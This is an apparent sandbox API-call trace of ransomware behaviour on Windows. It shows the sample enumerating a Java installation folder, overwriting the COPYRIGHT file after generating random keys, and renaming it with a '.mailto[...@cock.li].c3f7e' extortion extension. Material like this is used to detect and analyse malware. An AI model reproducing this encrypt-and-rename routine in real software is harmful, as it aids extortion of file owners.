	[0078.313] wcscmp (_String1="resource.dll", _String2="..") returned 1
	[0078.313] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1
	[0078.313] wcscmp (_String1="rmid.exe", _String2=".") returned 1
	[0078.313] wcscmp (_String1="rmid.exe", _String2="..") returned 1
	[0078.313] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1
	[0078.313] wcscmp (_String1="rmiregistry.exe", _String2=".") returned 1
	[0078.313] wcscmp (_String1="rmiregistry.exe", _String2="..") returned 1
	[0078.313] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1
	[0078.313] wcscmp (_String1="server", _String2=".") returned 1
	[0078.313] wcscmp (_String1="server", _String2="..") returned 1
	[0078.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780438
	[0078.313] wcscpy (in: _Dest=0x4780438, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin"
	[0078.313] wcscat (in: _Dest=0x4780438, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\"
	[0078.313] wcscat (in: _Dest=0x4780438, _Source="server" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server"
	[0078.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4780438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0078.314] wcscmp (_String1="servertool.exe", _String2=".") returned 1
	[0078.314] wcscmp (_String1="servertool.exe", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1
	[0078.314] wcscmp (_String1="splashscreen.dll", _String2=".") returned 1
	[0078.314] wcscmp (_String1="splashscreen.dll", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1
	[0078.314] wcscmp (_String1="ssv.dll", _String2=".") returned 1
	[0078.314] wcscmp (_String1="ssv.dll", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1
	[0078.314] wcscmp (_String1="ssvagent.exe", _String2=".") returned 1
	[0078.314] wcscmp (_String1="ssvagent.exe", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1
	[0078.314] wcscmp (_String1="sunec.dll", _String2=".") returned 1
	[0078.314] wcscmp (_String1="sunec.dll", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1
	[0078.314] wcscmp (_String1="sunmscapi.dll", _String2=".") returned 1
	[0078.314] wcscmp (_String1="sunmscapi.dll", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1
	[0078.314] wcscmp (_String1="t2k.dll", _String2=".") returned 1
	[0078.314] wcscmp (_String1="t2k.dll", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1
	[0078.314] wcscmp (_String1="tnameserv.exe", _String2=".") returned 1
	[0078.314] wcscmp (_String1="tnameserv.exe", _String2="..") returned 1
	[0078.314] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1
	[0078.315] wcscmp (_String1="unpack.dll", _String2=".") returned 1
	[0078.315] wcscmp (_String1="unpack.dll", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1
	[0078.315] wcscmp (_String1="unpack200.exe", _String2=".") returned 1
	[0078.315] wcscmp (_String1="unpack200.exe", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1
	[0078.315] wcscmp (_String1="verify.dll", _String2=".") returned 1
	[0078.315] wcscmp (_String1="verify.dll", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1
	[0078.315] wcscmp (_String1="w2k_lsa_auth.dll", _String2=".") returned 1
	[0078.315] wcscmp (_String1="w2k_lsa_auth.dll", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1
	[0078.315] wcscmp (_String1="WindowsAccessBridge-64.dll", _String2=".") returned 1
	[0078.315] wcscmp (_String1="WindowsAccessBridge-64.dll", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1
	[0078.315] wcscmp (_String1="wsdetect.dll", _String2=".") returned 1
	[0078.315] wcscmp (_String1="wsdetect.dll", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1
	[0078.315] wcscmp (_String1="zip.dll", _String2=".") returned 1
	[0078.315] wcscmp (_String1="zip.dll", _String2="..") returned 1
	[0078.315] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0
	[0078.315] FindClose (in: hFindFile=0x2daccf8 | out: hFindFile=0x2daccf8) returned 1
	[0078.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a3190) returned 1
	[0078.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf068) returned 1
	[0078.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1

Thread:
	id = 653
	os_tid = 0x1960

	[0078.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20
	[0082.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", dwFileAttributes=0x20) returned 1
	[0085.057] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16d8
	[0085.057] GetFileSizeEx (in: hFile=0x16d8, lpFileSize=0x1893fd1c | out: lpFileSize=0x1893fd1c*=3244) returned 1
	[0085.058] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0xca8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.058] ReadFile (in: hFile=0x16d8, lpBuffer=0x1893fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1893fc9c, lpOverlapped=0x0 | out: lpBuffer=0x1893fca0*, lpNumberOfBytesRead=0x1893fc9c*=0x4, lpOverlapped=0x0) returned 1
	[0085.059] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0085.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.059] NtQuerySystemTime (in: CurrentTime=0x1893fc7c | out: CurrentTime=0x1893fc7c*=132251868117962900) returned 0x0
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xa883faa4
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x29947313
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xdca66efd
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x65d38a01
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x7b8c0539
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x1c6d4b5
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xa1ac0b25
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xe99fe25d
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x48f41620
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x6e0c43b8
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xfdbd83b4
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x1acc60ff
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x16bb06e1
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x497b7a68
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x1b7870a5
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x782cf0e6
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x4316bd25
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xc53b0638
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x3eb871a8
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x57f829c3
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x9df6164
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x8deacc57
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x743c7cd1
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xe8bc2dcb
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x7a02eb9a
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x53e52c82
	[0085.059] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x925d5e91
	[0085.060] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x700c9eb6
	[0085.060] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x6a8acd2f
	[0085.060] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xe3d026d0
	[0085.060] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0xcf5ece4e
	[0085.060] RtlRandom (in: Seed=0x1893fc88 | out: Seed=0x1893fc88) returned 0x35056324
	[0085.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0085.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0085.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0085.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0085.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0085.068] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0085.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48e48
	[0085.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0085.068] ReadFile (in: hFile=0x16d8, lpBuffer=0x4f48e48, nNumberOfBytesToRead=0xcac, lpNumberOfBytesRead=0x1893fc78, lpOverlapped=0x0 | out: lpBuffer=0x4f48e48*, lpNumberOfBytesRead=0x1893fc78*=0xcac, lpOverlapped=0x0) returned 1
	[0085.069] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.069] WriteFile (in: hFile=0x16d8, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0xcac, lpNumberOfBytesWritten=0x1893fc74, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x1893fc74*=0xcac, lpOverlapped=0x0) returned 1
	[0087.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0087.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48e48) returned 1
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2e47e98
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2e47f60
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x103) returned 0x500d048
	[0087.106] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.106] WriteFile (in: hFile=0x16d8, lpBuffer=0x500d048*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1893fcdc, lpOverlapped=0x0 | out: lpBuffer=0x500d048*, lpNumberOfBytesWritten=0x1893fcdc*=0x103, lpOverlapped=0x0) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d048) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0087.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49867b8
	[0087.110] wcscpy (in: _Dest=0x49867b8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT"
	[0087.110] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.110] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1893fc94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2cf60
	[0087.110] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x1893fc8c, FileInformation=0x4f2cf60, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0087.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cf60) returned 1
	[0087.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0087.111] NtQueryInformationFile (in: FileHandle=0x16d8, IoStatusBlock=0x1893fca0, FileInformation=0x1893fc78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1893fca0, FileInformation=0x1893fc78) returned 0x0
	[0087.111] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x1893fca0, FileInformation=0x1893fc78, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0087.112] FlushFileBuffers (hFile=0x16d8) returned 1
